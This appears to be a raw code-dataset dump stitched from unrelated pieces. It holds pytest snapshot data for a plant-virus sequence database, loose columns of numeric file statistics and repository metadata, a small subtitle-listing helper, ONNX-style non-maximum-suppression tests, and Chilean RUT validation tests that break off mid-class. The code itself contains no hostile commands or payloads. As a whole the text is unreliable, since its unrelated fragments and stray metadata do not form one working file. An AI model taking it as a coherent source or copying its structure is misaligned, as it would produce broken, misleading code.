'sequence': 'ATGCGTGTACTG'
}
snapshots['test_remove_sequence[True-uvloop-None] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['test_remove_sequence[True-uvloop-None] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Removed sequence KX269872 from Isolate 8816-v2',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'remove',
[
'isolates',
0,
'sequences'
],
[
[
0,
{
'_id': 'KX269872',
'definition': 'Prunus virus F isolate 8816-s2 segment RNA2 polyprotein 2 gene, complete cds.',
'host': 'sweet cherry',
'isolate_id': 'cab8b360',
'otu_id': '6116cba1',
'segment': None,
'sequence': 'TGTTTAAGAGATTAAACAACCGCTTTC'
}
]
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'remove_sequence',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['test_edit_sequence[True-uvloop-None] json'] = {
'definition': 'A made up sequence',
'host': 'Grapevine',
'id': 'KX269872',
'isolate_id': 'cab8b360',
'otu_id': '6116cba1',
'segment': None,
'sequence': 'ATGCGTGTACTG'
}
snapshots['TestAddIsolate.test_default[True-uvloop-True] json'] = {
'default': True,
'id': '9pf',
'sequences': [
],
'source_name': 'b',
'source_type': 'isolate'
}
snapshots['TestAddIsolate.test_default[True-uvloop-True] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': False,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
},
{
'default': True,
'id': '9pf',
'source_name': 'b',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestAddIsolate.test_default[True-uvloop-True] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Added Isolate b as default',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
[
'isolates',
0,
'default'
],
[
True,
False
]
],
[
'add',
'isolates',
[
[
1,
{
'default': True,
'id': '9pf',
'sequences': [
],
'source_name': 'b',
'source_type': 'isolate'
}
]
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'add_isolate',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestAddIsolate.test_default[True-uvloop-False] json'] = {
'default': False,
'id': '9pf',
'sequences': [
],
'source_name': 'b',
'source_type': 'isolate'
}
snapshots['TestAddIsolate.test_default[True-uvloop-False] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
},
{
'default': False,
'id': '9pf',
'source_name': 'b',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestAddIsolate.test_default[True-uvloop-False] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Added Isolate b',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'add',
'isolates',
[
[
1,
{
'default': False,
'id': '9pf',
'sequences': [
],
'source_name': 'b',
'source_type': 'isolate'
}
]
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'add_isolate',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestRemoveIsolate.test[True-uvloop] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Removed Isolate 8816-v2',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'remove',
'isolates',
[
[
0,
{
'default': True,
'id': 'cab8b360',
'sequences': [
{
'_id': 'KX269872',
'definition': 'Prunus virus F isolate 8816-s2 segment RNA2 polyprotein 2 gene, complete cds.',
'host': 'sweet cherry',
'isolate_id': 'cab8b360',
'otu_id': '6116cba1',
'segment': None,
'sequence': 'TGTTTAAGAGATTAAACAACCGCTTTC'
}
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
]
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'remove_isolate',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestCreate.test[True-uvloop--True] json'] = {
'abbreviation': '',
'id': '9pfsom1b',
'isolates': [
],
'issues': {
'empty_isolate': False,
'empty_otu': True,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': None,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Created Tobacco mosaic virus',
'diff': {
'_id': '9pfsom1b',
'abbreviation': '',
'isolates': [
],
'last_indexed_version': None,
'lower_name': 'tobacco mosaic virus',
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
},
'id': '9pfsom1b.0',
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'create',
'otu': {
'id': '9pfsom1b',
'name': 'Tobacco mosaic virus',
'version': 0
},
'reference': {
'id': 'foo'
},
'user': {
'id': 'test'
}
},
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
}
snapshots['TestCreate.test[True-uvloop--True] otu'] = {
'_id': '9pfsom1b',
'abbreviation': '',
'isolates': [
],
'last_indexed_version': None,
'lower_name': 'tobacco mosaic virus',
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
}
snapshots['TestCreate.test[True-uvloop--True] history'] = {
'_id': '9pfsom1b.0',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Created Tobacco mosaic virus',
'diff': {
'_id': '9pfsom1b',
'abbreviation': '',
'isolates': [
],
'last_indexed_version': None,
'lower_name': 'tobacco mosaic virus',
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
},
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'create',
'otu': {
'id': '9pfsom1b',
'name': 'Tobacco mosaic virus',
'version': 0
},
'reference': {
'id': 'foo'
},
'user': {
'id': 'test'
}
}
| 22.914303
| 128
| 0.421088
| 6,124
| 77,542
| 5.219628
| 0.024331
| 0.038792
| 0.041295
| 0.050055
| 0.980197
| 0.974879
| 0.970906
| 0.954607
| 0.949726
| 0.943031
| 0
| 0.052928
| 0.414253
| 77,542
| 3,383
| 129
| 22.921076
| 0.650837
| 0.0008
| 0
| 0.715985
| 0
| 0.002746
| 0.411696
| 0.069014
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.012508
| 0
| 0.012508
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
afffae03151897ef74bb4c047ae999d3934c542a
| 92
|
py
|
Python
|
src/__init__.py
|
bwu62/subshift
|
1f4817d716a208dcd9e02e649e0183e7ee19ed4f
|
[
"BSD-3-Clause"
] | 1
|
2019-07-29T01:13:28.000Z
|
2019-07-29T01:13:28.000Z
|
src/__init__.py
|
bwu62/subshift
|
1f4817d716a208dcd9e02e649e0183e7ee19ed4f
|
[
"BSD-3-Clause"
] | 1
|
2019-07-29T01:19:33.000Z
|
2019-07-29T02:11:56.000Z
|
src/__init__.py
|
bwu62/subshift
|
1f4817d716a208dcd9e02e649e0183e7ee19ed4f
|
[
"BSD-3-Clause"
] | null | null | null |
from .subshift import Subtitle
import glob
def listSrts():
return glob.glob("./*.srt")
| 15.333333
| 31
| 0.695652
| 12
| 92
| 5.333333
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.163043
| 92
| 5
| 32
| 18.4
| 0.831169
| 0
| 0
| 0
| 0
| 0
| 0.076087
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0.5
| 0.25
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
b32a3ffe9e2758199aef19e1f39d54592584938d
| 13,792
|
py
|
Python
|
tests/test_c_nms_onnx_ex.py
|
hozmi/box_utils
|
1b264d222486a2e29ff61c578300d1dda9aae153
|
[
"MIT"
] | null | null | null |
tests/test_c_nms_onnx_ex.py
|
hozmi/box_utils
|
1b264d222486a2e29ff61c578300d1dda9aae153
|
[
"MIT"
] | null | null | null |
tests/test_c_nms_onnx_ex.py
|
hozmi/box_utils
|
1b264d222486a2e29ff61c578300d1dda9aae153
|
[
"MIT"
] | null | null | null |
"""Test NMS.
Run the examples described in `ONNX docs`_.
.. _ONNX docs: https://github.com/onnx/onnx/blob/main/docs/Operators.md#NonMaxSuppression
"""
# import pytest
import numpy as np
import box_utils._c.box_nms as box_nms
def test_nms_suppress_by_iou():
"""Test NMS - suppress by IoU."""
# --
boxes = np.array([[
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.1, 1.0, 1.1],
[0.0, -0.1, 1.0, 0.9],
[0.0, 10.0, 1.0, 11.0],
[0.0, 10.1, 1.0, 11.1],
[0.0, 100.0, 1.0, 101.0]
]]).astype(np.float32)
scores = np.array([[[
0.9, 0.75, 0.6, 0.95, 0.5, 0.3]]]).astype(np.float32)
max_output_boxes_per_class = np.array([3]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array(
[[0, 0, 3], [0, 0, 0], [0, 0, 5]]).astype(np.int64)
# --
result = box_nms.ltrb_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
def test_nms_suppress_by_IOU_and_scores():
"""Test NMS - suppress by IoU and scores."""
# --
boxes = np.array([[
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.1, 1.0, 1.1],
[0.0, -0.1, 1.0, 0.9],
[0.0, 10.0, 1.0, 11.0],
[0.0, 10.1, 1.0, 11.1],
[0.0, 100.0, 1.0, 101.0]
]]).astype(np.float32)
scores = np.array(
[[[0.9, 0.75, 0.6, 0.95, 0.5, 0.3]]]).astype(np.float32)
max_output_boxes_per_class = np.array([3]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.4]).astype(np.float32)
selected_indices = np.array([[0, 0, 3], [0, 0, 0]]).astype(np.int64)
# --
result = box_nms.ltrb_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
def test_nms_single_box():
"""Test NMS - single box."""
# --
boxes = np.array([[
[0.0, 0.0, 1.0, 1.0]
]]).astype(np.float32)
scores = np.array([[[0.9]]]).astype(np.float32)
max_output_boxes_per_class = np.array([3]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array([[0, 0, 0]]).astype(np.int64)
# --
result = box_nms.ltrb_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
def test_nms_identical_boxes():
"""Test NMS - identical boxes."""
# --
boxes = np.array([[
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.0, 1.0, 1.0]
]]).astype(np.float32)
scores = np.array([[[
0.9, 0.9, 0.9, 0.9, 0.9, 0.9, 0.9, 0.9, 0.9, 0.9
]]]).astype(np.float32)
max_output_boxes_per_class = np.array([3]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array([[0, 0, 0]]).astype(np.int64)
# --
result = box_nms.ltrb_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
def test_nms_limit_output_size():
"""Test NMS - limit output size."""
# --
boxes = np.array([[
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.1, 1.0, 1.1],
[0.0, -0.1, 1.0, 0.9],
[0.0, 10.0, 1.0, 11.0],
[0.0, 10.1, 1.0, 11.1],
[0.0, 100.0, 1.0, 101.0]
]]).astype(np.float32)
scores = np.array([[[
0.9, 0.75, 0.6, 0.95, 0.5, 0.3]]]).astype(np.float32)
max_output_boxes_per_class = np.array([2]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array([[0, 0, 3], [0, 0, 0]]).astype(np.int64)
# --
result = box_nms.ltrb_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
def test_nms_two_batches():
"""Test NMS - two batches."""
# --
boxes = np.array([[[0.0, 0.0, 1.0, 1.0],
[0.0, 0.1, 1.0, 1.1],
[0.0, -0.1, 1.0, 0.9],
[0.0, 10.0, 1.0, 11.0],
[0.0, 10.1, 1.0, 11.1],
[0.0, 100.0, 1.0, 101.0]],
[[0.0, 0.0, 1.0, 1.0],
[0.0, 0.1, 1.0, 1.1],
[0.0, -0.1, 1.0, 0.9],
[0.0, 10.0, 1.0, 11.0],
[0.0, 10.1, 1.0, 11.1],
[0.0, 100.0, 1.0, 101.0]]]).astype(np.float32)
scores = np.array([[[0.9, 0.75, 0.6, 0.95, 0.5, 0.3]],
[[0.9, 0.75, 0.6, 0.95, 0.5, 0.3]]]).astype(np.float32)
max_output_boxes_per_class = np.array([2]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array([
[0, 0, 3], [0, 0, 0], [1, 0, 3], [1, 0, 0]]).astype(np.int64)
# --
result = box_nms.ltrb_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
def test_nms_two_classes():
"""Test NMS - two classes."""
# --
boxes = np.array([[
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.1, 1.0, 1.1],
[0.0, -0.1, 1.0, 0.9],
[0.0, 10.0, 1.0, 11.0],
[0.0, 10.1, 1.0, 11.1],
[0.0, 100.0, 1.0, 101.0]
]]).astype(np.float32)
scores = np.array([[
[0.9, 0.75, 0.6, 0.95, 0.5, 0.3],
[0.9, 0.75, 0.6, 0.95, 0.5, 0.3]]]).astype(np.float32)
max_output_boxes_per_class = np.array([2]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array([
[0, 0, 3], [0, 0, 0], [0, 1, 3], [0, 1, 0]]).astype(np.int64)
# --
result = box_nms.ltrb_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
def test_nms_center_point_box_format():
"""Test NMS - center-point box format."""
# --
boxes = np.array([[
[0.5, 0.5, 1.0, 1.0],
[0.5, 0.6, 1.0, 1.0],
[0.5, 0.4, 1.0, 1.0],
[0.5, 10.5, 1.0, 1.0],
[0.5, 10.6, 1.0, 1.0],
[0.5, 100.5, 1.0, 1.0]
]]).astype(np.float32)
scores = np.array([[
[0.9, 0.75, 0.6, 0.95, 0.5, 0.3]]]).astype(np.float32)
max_output_boxes_per_class = np.array([3]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array([
[0, 0, 3], [0, 0, 0], [0, 0, 5]]).astype(np.int64)
# --
result = box_nms.xywh_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
def test_nms_flipped_coordinates():
"""Test NMS - flipped coordinates."""
# --
boxes = np.array([[
[1.0, 1.0, 0.0, 0.0],
[0.0, 0.1, 1.0, 1.1],
[0.0, 0.9, 1.0, -0.1],
[0.0, 10.0, 1.0, 11.0],
[1.0, 10.1, 0.0, 11.1],
[1.0, 101.0, 0.0, 100.0]
]]).astype(np.float32)
scores = np.array([[[0.9, 0.75, 0.6, 0.95, 0.5, 0.3]]]).astype(np.float32)
max_output_boxes_per_class = np.array([3]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array([[0, 0, 3], [0, 0, 0], [0, 0, 5]]).astype(np.int64)
# --
result = box_nms.ltrb_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
# ---------------------------------------------------------
# box_nms can be called in some other way.
# ---------------------------------------------------------
def test_nms_suppress_by_iou_nobatch():
"""Test NMS - suppress by IoU."""
# --
boxes = np.array([
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.1, 1.0, 1.1],
[0.0, -0.1, 1.0, 0.9],
[0.0, 10.0, 1.0, 11.0],
[0.0, 10.1, 1.0, 11.1],
[0.0, 100.0, 1.0, 101.0]
]).astype(np.float32)
scores = np.array([[
0.9, 0.75, 0.6, 0.95, 0.5, 0.3]]).astype(np.float32)
max_output_boxes_per_class = np.array([3]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array(
[[0, 3], [0, 0], [0, 5]]).astype(np.int64)
# --
result = box_nms.ltrb_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
def test_nms_suppress_by_iou_noclass():
"""Test NMS - suppress by IoU."""
# --
boxes = np.array([
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.1, 1.0, 1.1],
[0.0, -0.1, 1.0, 0.9],
[0.0, 10.0, 1.0, 11.0],
[0.0, 10.1, 1.0, 11.1],
[0.0, 100.0, 1.0, 101.0]
]).astype(np.float32)
scores = np.array([
0.9, 0.75, 0.6, 0.95, 0.5, 0.3]).astype(np.float32)
max_output_boxes_per_class = np.array([3]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array([3, 0, 5]).astype(np.int64)
# --
result = box_nms.ltrb_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
def test_nms_suppress_by_iou_notopk():
"""Test NMS - suppress by IoU."""
# --
boxes = np.array([
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.1, 1.0, 1.1],
[0.0, -0.1, 1.0, 0.9],
[0.0, 10.0, 1.0, 11.0],
[0.0, 10.1, 1.0, 11.1],
[0.0, 100.0, 1.0, 101.0]
]).astype(np.float32)
scores = np.array([
0.9, 0.75, 0.6, 0.95, 0.5, 0.3]).astype(np.float32)
max_output_boxes_per_class = np.array([-1]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array([3, 0, 5]).astype(np.int64)
# --
result = box_nms.ltrb_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
def test_nms_two_classes_nobatch():
"""Test NMS - two classes."""
# --
boxes = np.array([
[0.0, 0.0, 1.0, 1.0],
[0.0, 0.1, 1.0, 1.1],
[0.0, -0.1, 1.0, 0.9],
[0.0, 10.0, 1.0, 11.0],
[0.0, 10.1, 1.0, 11.1],
[0.0, 100.0, 1.0, 101.0]
]).astype(np.float32)
scores = np.array([
[0.9, 0.75, 0.6, 0.95, 0.5, 0.3],
[0.9, 0.75, 0.6, 0.95, 0.5, 0.3]]).astype(np.float32)
max_output_boxes_per_class = np.array([2]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array([
[0, 3], [0, 0], [1, 3], [1, 0]]).astype(np.int64)
# --
result = box_nms.ltrb_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
def test_nms_center_point_box_format_nobatch():
"""Test NMS - center-point box format."""
# --
boxes = np.array([
[0.5, 0.5, 1.0, 1.0],
[0.5, 0.6, 1.0, 1.0],
[0.5, 0.4, 1.0, 1.0],
[0.5, 10.5, 1.0, 1.0],
[0.5, 10.6, 1.0, 1.0],
[0.5, 100.5, 1.0, 1.0]
]).astype(np.float32)
scores = np.array([
[0.9, 0.75, 0.6, 0.95, 0.5, 0.3]]).astype(np.float32)
max_output_boxes_per_class = np.array([3]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array([
[0, 3], [0, 0], [0, 5]]).astype(np.int64)
# --
result = box_nms.xywh_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
def test_nms_center_point_box_format_noclass():
"""Test NMS - center-point box format."""
# --
boxes = np.array([
[0.5, 0.5, 1.0, 1.0],
[0.5, 0.6, 1.0, 1.0],
[0.5, 0.4, 1.0, 1.0],
[0.5, 10.5, 1.0, 1.0],
[0.5, 10.6, 1.0, 1.0],
[0.5, 100.5, 1.0, 1.0]
]).astype(np.float32)
scores = np.array(
[0.9, 0.75, 0.6, 0.95, 0.5, 0.3]).astype(np.float32)
max_output_boxes_per_class = np.array([3]).astype(np.int64)
iou_threshold = np.array([0.5]).astype(np.float32)
score_threshold = np.array([0.0]).astype(np.float32)
selected_indices = np.array([3, 0, 5]).astype(np.int64)
# --
result = box_nms.xywh_nms(
boxes, scores,
score_threshold[0], iou_threshold[0], max_output_boxes_per_class[0])
np.testing.assert_array_equal(result, selected_indices)
| 33.074341
| 89
| 0.542996
| 2,412
| 13,792
| 2.963101
| 0.03524
| 0.071079
| 0.049531
| 0.029663
| 0.943753
| 0.938016
| 0.93046
| 0.925143
| 0.922765
| 0.922765
| 0
| 0.143607
| 0.240647
| 13,792
| 416
| 90
| 33.153846
| 0.538814
| 0.061702
| 0
| 0.852349
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.050336
| 1
| 0.050336
| false
| 0
| 0.006711
| 0
| 0.057047
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b32eaab9192a209c7d447c1f31a9c8088d6bb08f
| 8,839
|
py
|
Python
|
tests/test_rut_chile.py
|
merfrei/rut-chile
|
9c4b925a68ecae941813525d0d38fa7e456fdc91
|
[
"MIT"
] | null | null | null |
tests/test_rut_chile.py
|
merfrei/rut-chile
|
9c4b925a68ecae941813525d0d38fa7e456fdc91
|
[
"MIT"
] | null | null | null |
tests/test_rut_chile.py
|
merfrei/rut-chile
|
9c4b925a68ecae941813525d0d38fa7e456fdc91
|
[
"MIT"
] | null | null | null |
import pytest
from rut_chile import rut_chile
class TestIsValidRutTests:
@pytest.mark.parametrize("test_input, expected_value", [
(None, ValueError),
("", ValueError),
(" ", ValueError),
("k", ValueError),
("1", ValueError),
("*", ValueError),
("1-", ValueError),
(".-", ValueError),
("1.", ValueError),
("1.11", ValueError),
("1.111K", ValueError),
(".1", ValueError),
("123.K", ValueError),
("123.12-K", ValueError)
])
def test_invalid_argument(self, test_input, expected_value):
with pytest.raises(ValueError) as error:
rut_chile.is_valid_rut(test_input)
assert type(error.value) is expected_value
@pytest.mark.parametrize("test_input, expected_value", [
("9868503-1", False),
("21518268-2", False),
("17175325-3", False),
("20930576-4", False),
("13402128-5", False),
("20737522-6", False),
("6842256-7", False),
("14983005-8", False),
("20247667-9", False),
("17832479-k", False),
("12667869-0", False)
])
def test_invalid_rut(self, test_input, expected_value):
assert rut_chile.is_valid_rut(test_input) == expected_value
@pytest.mark.parametrize("test_input, expected_value", [
("00", True),
("0-0", True),
("1-9", True),
("98685030", True),
("9868503-0", True),
("9.868.503-0", True),
("21518268-1", True),
("17175325-2", True),
("20930576-3", True),
("13402128-4", True),
("20737522-5", True),
("6842256-6", True),
("14983005-7", True),
("20247667-8", True),
("17832479-9", True),
("12667869-k", True),
("12667869-K", True),
("12.667.869-K", True),
("12.667.869-k", True)
])
def test_valid_rut(self, test_input, expected_value):
assert rut_chile.is_valid_rut(test_input) == expected_value
class TestGetVerificationDigit:
@pytest.mark.parametrize("test_input, expected_value", [
(None, ValueError),
("", ValueError),
(" ", ValueError),
("k", ValueError),
("1k", ValueError),
("*", ValueError),
("1-", ValueError),
(".-", ValueError),
("12312-K", ValueError),
("12.312-K", ValueError),
])
def test_invalid_argument(self, test_input, expected_value):
with pytest.raises(ValueError) as error:
rut_chile.get_verification_digit(test_input)
assert type(error.value) is expected_value
@pytest.mark.parametrize("test_input, expected_value", [
("0", "0"),
("1", "9"),
("9868503", "0"),
("21518268", "1"),
("17175325", "2"),
("20930576", "3"),
("13402128", "4"),
("20737522", "5"),
("6842256", "6"),
("14983005", "7"),
("20247667", "8"),
("17832479", "9"),
("12667869", "k")
])
def test_valid_rut(self, test_input, expected_value):
assert rut_chile.get_verification_digit(test_input) == expected_value
class TestGetCapitalizedVerificationDigit:
@pytest.mark.parametrize("test_input, expected_value", [
(None, ValueError),
("", ValueError),
(" ", ValueError),
("k", ValueError),
("1k", ValueError),
("*", ValueError),
("1-", ValueError),
(".-", ValueError),
("12312-K", ValueError),
("12.312-K", ValueError),
])
def test_invalid_argument(self, test_input, expected_value):
with pytest.raises(ValueError) as error:
rut_chile.get_capitalized_verification_digit(test_input)
assert type(error.value) is expected_value
@pytest.mark.parametrize("test_input, expected_value", [
("0", "0"),
("1", "9"),
("9868503", "0"),
("21518268", "1"),
("17175325", "2"),
("20930576", "3"),
("13402128", "4"),
("20737522", "5"),
("6842256", "6"),
("14983005", "7"),
("20247667", "8"),
("17832479", "9"),
("12667869", "K")
])
def test_valid_rut(self, test_input, expected_value):
digit = rut_chile.get_capitalized_verification_digit(test_input)
assert digit == expected_value
class TestFormatRutWithDots:
@pytest.mark.parametrize("test_input, expected_value", [
(None, ValueError),
("", ValueError),
(" ", ValueError),
("k", ValueError),
("ab", ValueError),
("*", ValueError),
("1-", ValueError),
(".-", ValueError),
("1.", ValueError),
("1.11", ValueError)
])
def test_invalid_argument(self, test_input, expected_value):
with pytest.raises(ValueError) as error:
rut_chile.format_rut_with_dots(test_input)
assert type(error.value) is expected_value
@pytest.mark.parametrize("test_input, expected_value", [
("12", "1-2"),
("123", "12-3"),
("1234", "123-4"),
("12345", "1.234-5"),
("123456", "12.345-6"),
("1234567", "123.456-7"),
("12345678", "1.234.567-8"),
("123456789", "12.345.678-9"),
("123456789k", "123.456.789-k"),
])
def test_valid_rut(self, test_input, expected_value):
assert rut_chile.format_rut_with_dots(test_input) == expected_value
class TestFormatCapitalizedRutWithDots:
@pytest.mark.parametrize("test_input, expected_value", [
(None, ValueError),
("", ValueError),
(" ", ValueError),
("k", ValueError),
("ab", ValueError),
("*", ValueError),
("1-", ValueError),
(".-", ValueError),
("1.", ValueError),
("1.11", ValueError)
])
def test_invalid_argument(self, test_input, expected_value):
with pytest.raises(ValueError) as error:
rut_chile.format_capitalized_rut_with_dots(test_input)
assert type(error.value) is expected_value
@pytest.mark.parametrize("test_input, expected_value", [
("12", "1-2"),
("123", "12-3"),
("1234", "123-4"),
("12345", "1.234-5"),
("123456", "12.345-6"),
("1234567", "123.456-7"),
("12345678", "1.234.567-8"),
("123456789", "12.345.678-9"),
("123456789k", "123.456.789-K"),
])
def test_valid_rut(self, test_input, expected_value):
rut = rut_chile.format_capitalized_rut_with_dots(test_input)
assert rut == expected_value
class TestFormatRutWithoutDots:
